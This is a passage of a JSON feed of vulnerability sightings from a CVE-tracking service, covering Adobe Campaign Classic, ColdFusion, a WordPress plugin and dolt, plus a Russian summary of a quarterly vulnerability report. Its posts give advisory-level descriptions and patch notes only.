allows arbitrary code execution. Update to build 9398 now.\n\n#AdobeCampaignClassic #CVE202648449 #RCE #Adobe #InfoSec", "creation_timestamp": "2026-07-31T02:41:38.497355Z"}, {"uuid": "36d98075-3df1-4bf4-8e91-db1d6a56aa19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mrw6vrawiq2h", "content": "Adobe Campaign Classic\u306e\u8106\u5f31\u6027CVE-2026-48449\u306f\u3001CVSS 10.0\u30ec\u30d9\u30eb\u3067\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u53ef\u80fd\u306b\u3059\u308b \n\nAdobe Campaign Classic CVE-2026-48449 Enables Code Execution at CVSS 10.0  #DailyCyberSecurity (Jul 31)\n\nsecurityonline.info/adobe-campai...", "creation_timestamp": "2026-07-31T05:11:10.622414Z"}, {"uuid": "820b73fb-7c2d-469e-929c-344e99ac6241", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3ms2gvodj5f2s", "content": "\ud83e\udd16 CVE-2026-48449 (CVSS 10.0): incorrect authorization in Adobe Campaign Classic allows unauthenticated arbitrary code execution without user interaction. Patches released.\nhttps://thehackernews.com/2026/08/adobe-campaign-classic-cvss-100-flaw.html", "creation_timestamp": "2026-08-01T21:44:56.277398Z"}, {"uuid": "fbee51e6-b04b-42f8-b032-aeed69d7fc80", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/965243f3-0595-449c-b576-93d84bd2262e", "content": "", "creation_timestamp": "2026-08-04T11:00:26.496406Z"}, {"uuid": "8bc08c70-333c-4f68-a9d2-1bd69b6ff39d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "Telegram/1rxP3qIuireobzlbCghqLtlBEvOO40pQENYobB1-OKe51is", "content": "", "creation_timestamp": "2026-09-02T01:00:15.162622Z"}, {"uuid": "b252740a-4169-4e27-bd3a-902dc630285e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3msauwws6oa2n", "content": "Adobe has released security updates for Campaign Classic (ACC) addressing a critical flaw (CVE-2026-48449, CVSS 10.0) allowing arbitrary code execution without user interaction. Another high-severity flaw (CVE-2026-48448, CVSS 8.6) related to SQL injection was also fixed.", "creation_timestamp": "2026-08-04T11:12:11.205186Z"}, {"uuid": "c72d2269-d35d-4033-ad80-5dbf195dfd3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48448", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3msauwws6oa2n", "content": "Adobe has released security updates for Campaign Classic (ACC) addressing a critical flaw (CVE-2026-48449, CVSS 10.0) allowing arbitrary code execution without user interaction. Another high-severity flaw (CVE-2026-48448, CVSS 8.6) related to SQL injection was also fixed.", "creation_timestamp": "2026-08-04T11:12:11.272311Z"}, {"uuid": "ac308d13-9fdc-4ec1-af9a-3473a95f90df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4803", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ml3mihu7ej2k", "content": "CVE-2026-4803 - Royal Addons for Elementor\nCVE ID : CVE-2026-4803\n \n Published : May 5, 2026, 4:16 a.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'status' parameter in the wpr_...", "creation_timestamp": "2026-05-05T07:01:14.137366Z"}, {"uuid": "585c927f-d555-4829-b972-c0a4f70c57e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4803", "type": "seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3ml4ug6xfg62c", "content": "CVE-2026-4803: XSS en Royal Elementor Addons\n\nCVE-2026-4803 afecta Royal Elementor Addons hasta v1.7.1056 con XSS almacenado sin autenticaci\u00f3n. Conoc\u00e9 el exploit, versiones vulnerables y c\u00f3mo parche...\n\n#cve20264803 #royalelementoraddons #xsswordpress #vulnerabilidadesplugins", "creation_timestamp": "2026-05-05T18:55:47.723046Z"}, {"uuid": "ab51b974-cc63-4013-abf5-6257015f7897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "https://bsky.app/profile/releaseport.com/post/3ml56ypgkia2o", "content": "dolt 1.87.0 patches CVE-2026-4800\nNew author/committer fields break backward compatibility; all clients must upgrade.\nUpgrade carefully.\n\n\u2192 releaseport.com/r/dolthub-dolt/v1-87-0", "creation_timestamp": "2026-05-05T22:05:06.433454Z"}, {"uuid": "c5a930fd-23c9-4acc-b689-58c86eb95e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3ms6rd7c76r2y", "content": "Adobe fixes a CVSS 10 RCE in Campaign Classic (CVE-2026-48449) and eight critical flaws in Bridge. Update to build 9398 and Bridge 15.1.7 or 16.0.6 now.\n\n#AdobeCampaign #CVE202648449 #AdobeBridge #CriticalPatch #RCE", "creation_timestamp": "2026-08-03T15:02:06.945747Z"}, {"uuid": "ddc84574-ff2c-4a1d-b803-f28f431c4a5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msazx3ohbs2c", "content": "Adobe ColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u304c\u653b\u6483\u306b\u60aa\u7528\u3055\u308c\u308b\n\nCVE-2026-48282\uff08CVSS\u30b9\u30b3\u30a210/10\uff09 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306f\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u653b\u6483\u3068\u3057\u3066\u8aac\u660e\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n\n\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u3001Adobe\u306e\u9ad8\u901f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306b\u304a\u3051\u308b\u4ed6\u306e5\u3064\u306e\u91cd\u5927\u5ea6\u306e\u9ad8\u3044\u8106\u5f31\u6027\u3068\u3068\u3082\u306b\u3001 6\u670830\u65e5\u306b\u4fee\u6b63\u3055\u308c\u305f\u3002\n\nAdobe\u306f\u3001\u3053\u308c\u3089\u306e\u8106\u5f31\u6027\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306bColdFusion 2025\u30a2\u30c3\u30d7\u30c7\u30fc\u30c810\u3068ColdFusion 2023\u30a2\u30c3\u30d7\u30c7\u30fc\u30c821\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u304c...", "creation_timestamp": "2026-08-04T12:41:46.858658Z"}, {"uuid": "52bc42ab-169f-41b8-b9dc-515ff5c4c0e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "published-proof-of-concept", "source": "Telegram/nH3urMEX3q2z2GduZzAZDrSGR4Ur7InM5c7di77ZyWhzXA", "content": "", "creation_timestamp": "2026-08-02T00:00:55.104905Z"}, {"uuid": "393e0f07-9525-499e-a6ca-17d6c8c68f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/true_secator/8465", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Solar 4RAYS \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043e\u0431\u0437\u043e\u0440 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430.\n\n\u0412\u043e \u043e\u0442\u0447\u0435\u0442\u043d\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 681 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0438 PoC. \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u043e 571. \u0410\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 2026 \u0433\u043e\u0434\u0430, \u043d\u043e \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0432 2025, \u043d\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443.\n\n\u0412 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u044b 89 \u00ab\u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u0438\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412 Solar 4RAYS \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0432\u0441\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u043d\u0438\u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u0421\u0440\u0435\u0434\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0432\u044b\u0432\u043e\u0434\u043e\u0432:\n\n- \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u0432\u044b\u0440\u043e\u0441\u043b\u043e \u043d\u0430 59,8%: \u0441 426 \u0434\u043e 681. \u0422\u0430\u043a\u043e\u0439 \u0440\u043e\u0441\u0442 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d \u043a\u0430\u043a \u0441\u0435\u0437\u043e\u043d\u043d\u044b\u043c \u0444\u0430\u043a\u0442\u043e\u0440\u043e\u043c, \u0442\u0430\u043a \u0438 \u0442\u0435\u043c, \u0447\u0442\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u043f\u0440\u0438\u043d\u0435\u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Linux \u0438 Windows.\n\n- \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438\u043c\u0435\u043b\u0438 83,84% \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u0430\u043a \u0438 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430.\n\n- \u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b 7,9 \u0431\u0430\u043b\u043b\u0430. \u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 - 8,1.\n\n- 90,2% \u0432\u0441\u0435\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 HTTP. \u0411\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u00ab\u043f\u0440\u0435\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb - TCP (1,23%).\n\n- \u0421\u0435\u0442\u0435\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0440\u043e\u0432\u043d\u044f Critical \u0438 High \u0432 \u0441\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0442 73,5% \u043e\u0442 \u043e\u0431\u0449\u0435\u0439 \u043c\u0430\u0441\u0441\u044b \u0432\u0441\u0435\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u044d\u0442\u043e\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b 72,06%.\n\n- \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0438 \u0442\u0435\u043c \u0434\u043b\u044f CMS WordPress \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 17,9%. \u0414\u043e\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0431\u0449\u0435\u043c \u043e\u0431\u044a\u0435\u043c\u0435 \u0443\u043f\u0430\u043b\u0430 \u043d\u0430 \u0434\u0432\u0430 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u044b\u0445 \u043f\u0443\u043d\u043a\u0442\u0430 \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c.\n\n- \u041d\u0430 \u0418\u0418-\u0441\u0435\u0440\u0432\u0438\u0441\u044b \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c 4,83% \u0432\u0441\u0435\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0421\u0440\u0435\u0434\u043d\u044f\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c 8.\n\n- \u0432 \u0422\u043e\u043f-5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0432\u044b\u0448\u0435\u0434\u0448\u0438\u0445 PoC \u0432\u043e\u0448\u043b\u0438: CVE-2026-41940 (\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 cPanel), CVE-2026-42945 (\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 \u00ab\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438\u00bb \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 ngx_http_rewrite_module \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 NGINX), CVE-2026-48907 (\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Joomla Content Editor (JCE) \u0434\u043b\u044f CMS Joomla), CVE-2026-34197 (RCE \u0432 \u0431\u0440\u043e\u043a\u0435\u0440\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 Apache ActiveMQ Classic), CVE-2026-8181 (\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Burst Statistics \u0434\u043b\u044f WordPress).\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Solar 4RAYS, \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043d\u0430 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0441\u043e\u0444\u0442\u0435 \u043e\u0442 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u043a \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0443 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u043b\u043e. \u0421\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0433\u043e\u0434\u0430 \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0440\u043e\u0441\u0442 \u0447\u0438\u0441\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0418\u0418-\u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f, \u0438\u0445 \u0441\u0442\u0430\u043b\u043e \u043f\u043e\u0447\u0442\u0438 \u0432\u0434\u0432\u043e\u0435 \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c \u0440\u0430\u043d\u0435\u0435.\n\nWordpress, \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u043e\u0441\u0442\u044c\u044e \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u00ab\u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c\u00bb \u043f\u043e \u0447\u0438\u0441\u043b\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u041f\u041e.\n\n\u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u0441\u0442\u0430\u043b\u043e \u044f\u0441\u043d\u043e, \u0447\u0442\u043e \u00ab\u0432\u043e\u0432\u0440\u0435\u043c\u044f\u00bb \u0441\u043e\u0432\u0441\u0435\u043c \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0443\u0436\u043d\u043e \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u044b\u0441\u0442\u0440\u043e. \n\n\u0427\u0430\u0441\u0442\u043e \u0433\u043b\u0430\u0432\u043d\u043e\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435. \u0414\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u043c \u0430\u0441\u043f\u0435\u043a\u0442\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u044b \u0432 99% \u0441\u043b\u0443\u0447\u0430\u0435\u0432. \u041d\u043e \u0431\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0446\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0435\u0447\u043d\u043e \u0432\u0441\u0435 \u043f\u043e\u0440\u0442\u0438\u0442.\n\n\u0412 \u044d\u0442\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438 supply-chain-\u0430\u0442\u0430\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u0441 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 Axios \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u0439 \u0432\u0435\u0441\u043d\u043e\u0439. \u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043d\u0430 \u0440\u0443\u0431\u0435\u0436\u0435 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0438 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u044f\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0438 \u0441\u0442\u0430\u0442\u044c\u0438, \u0433\u043e\u0432\u043e\u0440\u044f\u0449\u0438\u0435 \u043e\u0431 Axios Supply Chain Attack.\n\n\u0410\u0442\u0430\u043a\u0430 \u0443\u0441\u043b\u043e\u0432\u043d\u043e \u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u0448\u0435\u0441\u0442\u044c \u0441\u0442\u0430\u0434\u0438\u0439. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0431\u044b\u0441\u0442\u0440\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u0441\u043e\u0432\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0430\u0441\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u0442\u044c \u0432 \u0418\u0411-\u0441\u0444\u0435\u0440\u0435, \u043a\u043e\u0433\u0434\u0430 \u0440\u0435\u0447\u044c \u0437\u0430\u0445\u043e\u0434\u0438\u0442 \u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u043e\u0442 \u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438) \u0441\u0442\u0430\u043b\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u043c \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0433\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u043e, - 